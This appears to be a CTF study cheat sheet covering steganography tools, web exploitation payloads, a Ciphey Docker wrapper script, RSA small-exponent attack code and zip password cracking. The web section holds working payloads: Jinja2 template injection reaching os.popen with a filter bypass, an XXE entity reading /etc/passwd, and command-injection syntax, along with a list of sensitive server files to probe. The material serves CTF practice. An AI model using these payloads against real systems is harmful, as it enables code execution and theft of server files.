MOCSCTF{XXXXX} =(base64)> TU9DU0NURn{XXXXXXX}
Note that the upper content omits the effect of base64 on the flag content.
開啟圖片 : eog [file name] (請自行下載)
開啟pdf : evince [file name] (請自行下載)
| 工具名稱 | 基本提取data語法 | 下載語法 | 主要功能 |
|---|---|---|---|
| strings | strings [file name] |
預設 | 提取可列印字串 |
| binwalk | binwalk -e [file name] |
sudo apt install binwalk |
提取嵌入的data |
| zsteg | zsteg [file name] |
要預先安裝Ruby和gemsudo gem install zsteg |
自動化 PNG/BMP 圖像 LSB 隱寫分析。 |
| stegsolve | java -jar stegsolve.jar+ 手動在stegsolve應用程式內開啟檔案 |
要預先安裝Javawget https://github.com/zsteg/stegsolve/releases/download/stegsolve-20230225/stegsolve.jar |
GUI 圖像隱寫視覺化分析與多模式提取。 |
| steghide | steghide extract -sf [file name] |
sudo apt install steghide |
使用密碼在 JPEG/BMP/WAV/AU 檔案中隱藏/提取數據。 |
| foremost | foremost -i [file name] |
sudo apt install foremost |
根據文件頭/尾簽名恢復/提取檔案。 |
| sigBits.py | python sigBits.py igbits -t=[lsb/msb] [file name] |
要預先安裝Pythonpip install Pillowwget https://raw.githubusercontent.com/Pulho/sigBits/master/sigBits.py |
自定義圖像 LSB / MSB 數據提取。 |
(可能會出bug或連不上) : https://www.aperisolve.com/
值得注意的是, 我們可以透過一些command設定, 使 java -jar stegsolve.jar 指令縮短成 stegsolve, 以及將 python sigBits.py igbits -t=[lsb/msb] [file name] 縮短成 sigbits -t=[lsb/msb] [file name], 大家可以自行問AI(推介Gemini 2.5 Flash / Pro)怎樣處理。
如果我們使用linux的eog等圖片工具無法開啟圖片, 而windows自帶的圖片編輯器卻能開啟的話, 高機率是圖片的高度和寬度被修改了。這時侯我們可以使用 Deformed-Image-Restorer 自動修復成原本的圖片。
這裡值得注意的是, 如果你binwalk偵錯到有一個檔案, 但卻extract不出來, 不妨試試foremost, 例題 : simple_transfer(在攻防世界裡)。
同樣的, 如果你想從一個檔案裡extract一個zip檔, 但同時又不要自動將其解壓(因為可能有密碼, 也解壓不了), 並且不要損壞zip檔, 用foremost吧…
查看圖片詳細信息, 源數據 : exiftool, identify(from ImageMagick)
命令 : exiftool [file name] , identify -v [file name]
工具 : Wireshark
教程 : 上面提到的Hello CTF
工具 : Tshark
安裝指令 : sudo apt install tshark
tshark的一些command :
-r [file name] : 選擇要分析的檔案-Y [xx] : 選擇要分析的協議類型, 如DNS, HTTPS手動調圖片大小 : TweakPNG
自動調圖片大小 : Deformed-Image-Restorer, command for crack original image width and hieght :
python [Deformed-Image-Restorer.py] -i [file name] , 其中要處理的圖片放在根目錄裡。
Python字節碼(.pyc)隱寫 : stegosaurus, extract data command :
python -m stegosaurus [file name] -x
記憶體隱寫 : Volatility
查看PDF詳細信息 : pdfinfo
安裝指令 : sudo apt install poppler-utils
使用指令 : pdfinfo [file name]
Some Renji called me to write this, so I do la.
| Engine Name | Used Programming Language | Payload |
|---|---|---|
| Jinja2 | Python Flask/Django | {{ 7*7 }} |
| Freemarker | Java | ${7*7} |
| Velocity | Java | #set($a=7*7)${a} |
| Thymeleaf | Java | ${7*7} |
| Twig | PHP Symfony | {{ 7*7 }} |
| Smarty | PHP | {$7*7} |
| Mako | Python | <% print 7*7 %> |
Note that Python > PHP > Java .
After knowing these, we can inject the templates now. For example, with Jinja2, we can execute Unix series terminal commands as follows: {{request.application.__globals__.__builtins__.__import__('os').popen("echo heheheha you are hacked!").read()}}
Note that we can use the pipe | character to work as a dot. character, which is able to bypass weak filters. For example, the upper command can translate into:
{{request|attr("application")|attr("__globals__")|attr("__builtins__")|attr("__import__")("os")|attr("popen")("echo heheheha you are hacked!")|attr("read")()}}
dirsearch.)| Name | Description or Loopholes |
|---|---|
.htaccess | Server accessory config files |
robots.txt | REP file |
.DS_Store | Mac Finder GUI Style Meta Data File |
httpd.conf | Server Config File |
.env | Might include password |
.git/index | git-dumper get source code |
wp-config.php | WordPress Database License |
WEB-INF/web.xml | Java Config File (Such as data and password) |
dump.sql | Database Backup File |
sitemap.xml | Path File. Might expose the unsecure admin path |
.htpasswd | HTTP Basic Config Password |
error.log | SQL Query Leak |
Just take reference from my workbook la. Lazy.
The code is here. Don’t ask me why it works. I learnt it from the writeup:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE kamal [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<data><ID>&xxe;</ID></data>
In case you need to inject Unix series server:
`command` or $(command)
Incase there is filter:
{ls,/}
Just take reference from my workbook la. Lazy.
Just take reference from my workbook la. Lazy.
| TypeName | Type |
|---|---|
a | Array |
b | Boolean |
C | Custom Serial Object(Might not be able to be phrased by PHP build-in serial function) |
d | Double |
i | Integer |
o | Common Object(No workable after PHP 4) |
O | Object |
r | Object Reference |
R | Pointer Reference |
s | String |
S | Encoded String |
N | Null |
因為這ciphey折磨咗我幾個鐘, 為免各位戰友在這裡消耗時間, 我將教程整理在這裡, 保證全網最專業最詳細。
很好, 由於ciphey用python安裝這段路有很多error, 原因有很多, 不支援高階Python(好像只支援到3.7), library的各種問題等, 因此我們不建議使用Python安裝(我就是被這路折磨了1小時)。
第二條路用brew安裝, 但也故障了…
這兩路合計折磨咗我兩個鐘左右啦, 所以我們用第三條路 : Docker
我們在windows裡安裝了docker(因為docker是基於linux, 因此和wsl是相通的, 我們也可以在wsl裡使用)。
好啦, 正式教程在下面 :
Step 1. 在docker安裝ciphey
docker run -it --rm remnux/ciphey
好了, 現在你可以透過 docker run --rm remnux/ciphey -t [encrypted text] 來使用ciphey了。
先別急著罵我, 你難道不覺得上面的命令好繁瑣好難記嗎🤔
這份教程的精華便是將命令縮短, 濃縮成github上演示那樣, 只需輸入ciphey -t [encrypted text] 。
原理大概就是創建一個小腳本script, 放在你的 PATH 環境變數包含的目錄中。當你輸入 ciphey 時,系統會找到這個腳本並執行它。腳本內部會呼叫 docker run 指令,並將你傳遞給 ciphey 的所有參數轉送給 Docker 容器內的 ciphey 指令。
Step 2. 創建目錄
放心 rm -rf *是不會刪除隱藏文件的(以 .開頭的便是)。
mkdir -p ~/.local/bin
Step 3. 建立腳本
vim ~/.local/bin/ciphey
Step 4. 輸入內容
按 i鍵, i for insert
#!/bin/bash
# 这是一个用于运行 Docker 容器中 ciphey 的包装脚本
# 检查 Docker 是否正在运行
if ! docker info > /dev/null 2>&1; then
echo "错误:Docker Daemon 未运行。请启动 Docker。"
exit 1
fi
# 运行 Docker 容器中的 ciphey
# --rm: 容器退出时自动删除
# -it: 启用交互模式和分配一个伪终端,这对于需要用户输入的程序至关重要
# -v "$(pwd):/mnt/host_cwd": 将宿主机的当前目录挂载到容器内部的 /mnt/host_cwd
# -w "/mnt/host_cwd": 设置容器的工作目录为 /mnt/host_cwd,以便 ciphey 能找到挂载的文件
# remnux/ciphey: 使用的 Docker 镜像
# ciphey: 容器内部要执行的命令
# "$@": 将所有传递给此脚本的参数原样传递给容器内部的 ciphey 命令
docker run --rm -it -v "$(pwd):/mnt/host_cwd" -w "/mnt/host_cwd" remnux/ciphey ciphey "$@"
最後按冒號 :, 輸入 wq , 按 enter 儲存檔案並離開。
好啦搞點, 之後你輸入 ciphey -t [encrypted text]就可以, 使用檔案輸入的話則是 ciphey -f [file name] 。
好啦自己玩玩看吧, 這東西有點用但不多, 做密碼題時更多靠自己的經驗和靈光一閃的思路。
順帶一提, 因為這東西是專門為CTF設計的, 因此密碼中帶有flag格式會更快速地找到, 畢竟有更多線索。
如果你load超過十秒且那人機月亮沒有在轉動時果斷退出吧, 那東西出bug的, 超過十秒 = 無解。
這裡是一份Ciphey支援的cipher list : Supported Ciphers
hash因為技術原因停用了破解😭
m 即未加密前的原文plaintext, 公式 : m = c ^ d % nc 加密後的ciphertext, 公式 : c = m ^ e % npqn , 公式 : n = p * qphi(n) , 公式 : phi(n) = (p - 1) * (q - 1)e , 通常為65537, 必須與 phi 互質d , e 在模 phi 下的乘法逆元, 即 e * d % phi = 1 , 我們可以使用python gmpy2庫裡的invert求d, 語法 : invert(e, phi)在RSA中,公鑰指數 e 通常選擇像 65537 這樣的值,主要為了提高加密和驗證簽名的計算效率。 而small e attack就是針對公鑰指數過少的情況而設計的攻擊, 我們知道c = m ^ e % n , 因此, 我們可以設定一個非負整數 k ,令 kn + c = m ^ e , 而得益於過少的 e, 我們便可以暴力枚舉 k,。針對每次的枚舉, 若果我們求得 kn + c 為完美的 e次方數, 那麼其 e次方根即為我們要求的明文 m。
Python範例程序如下 :
from gmpy2 import *
from Crypto.Util.number import long_to_bytes
c = int(input())
n = int(input())
e = int(input())
# c = m ^ e % n
# kn + c = m ^ e
k = 0
while True:
m, check = iroot(k * n + c, e) # 求kn + c的e次方根, 第二個參數返回是否完美e次方根的布林值
if check:
break
flag = long_to_bytes(m).decode("utf-8")
print(flag)
Exeinfo → 查看Exe的一些資訊, 如用了甚麼加殼
No section Header → 大機率被加殼
upx -d [file name] upx脫殼
CRC攻擊 : ZipCracker
python3 [ZipCracker.py] [xxx.zip]John the ripper提取zip密碼hash : zip2john [xxx.zip] > hash.txt
hashcat爆破hash : 很長, 有多種攻擊方法, 自己問AI
hashcat分析hash類型 : hashcat --identify hash.txt
Zip爆破明文攻擊(已知某一存在於要爆攻的Zip檔裡的檔案內容) : bkcrack
值得注意的是, bkcrack不支援AES加密(extra field with ID 0x000a)
Zip爆破(包含暴力攻擊, 字典攻擊, 明文攻擊等)萬能工具 : Advanced Archive Password Recovery